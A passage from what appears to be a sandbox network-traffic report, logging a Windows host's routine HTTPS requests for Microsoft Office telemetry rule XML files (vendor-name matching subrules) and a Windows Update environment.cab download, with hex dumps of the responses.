20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:19 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:19 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045719Z-16547b76f7ftfv4jhC1DFWuhug00000002zg000000003cd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:19 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23cdba65-001e-0082-460d-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045719Z-164f84587bft9l9khC1DFW32rc00000005e000000000011v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: c577e9bc-101e-00a2-20c6-379f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045720Z-164f84587bf6n6jwhC1DFW90fn00000004fg00000000dpy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045720Z-1866b5c5fbb5hnj5hC1DFW18sc00000005gg000000007bma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045720Z-16547b76f7f9s8x7hC1DFWywrg000000055g00000000481k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045720Z-16547b76f7fkf5v9hC1DFW2y5s000000055g00000000dw7s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045720Z-1866b5c5fbbfhwqqhC1DFW513800000004ng00000000kpdr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49749	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vtm5gLb8E1KD5w7&MD=SUus2VlZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 04:57:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 447acb0c-7f6e-4e7b-b9c2-5dc0cf9eb273 MS-RequestId: 907e752f-8eb1-42aa-a8eb-faa3b92375d4 MS-CV: Bx9Faml+SUuEpBYl.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 04:57:21 GMT Connection: close Content-Length: 24490
2024-11-18 04:57:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 04:57:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:21 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045721Z-16547b76f7f6nr89hC1DFWz7ug00000001ng00000000bb8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:21 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: a0d12520-501e-0029-67fa-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045721Z-164f84587bf5rpzqhC1DFWmra800000005d0000000003kv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045721Z-16547b76f7f6892shC1DFWawd000000002cg000000002w50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
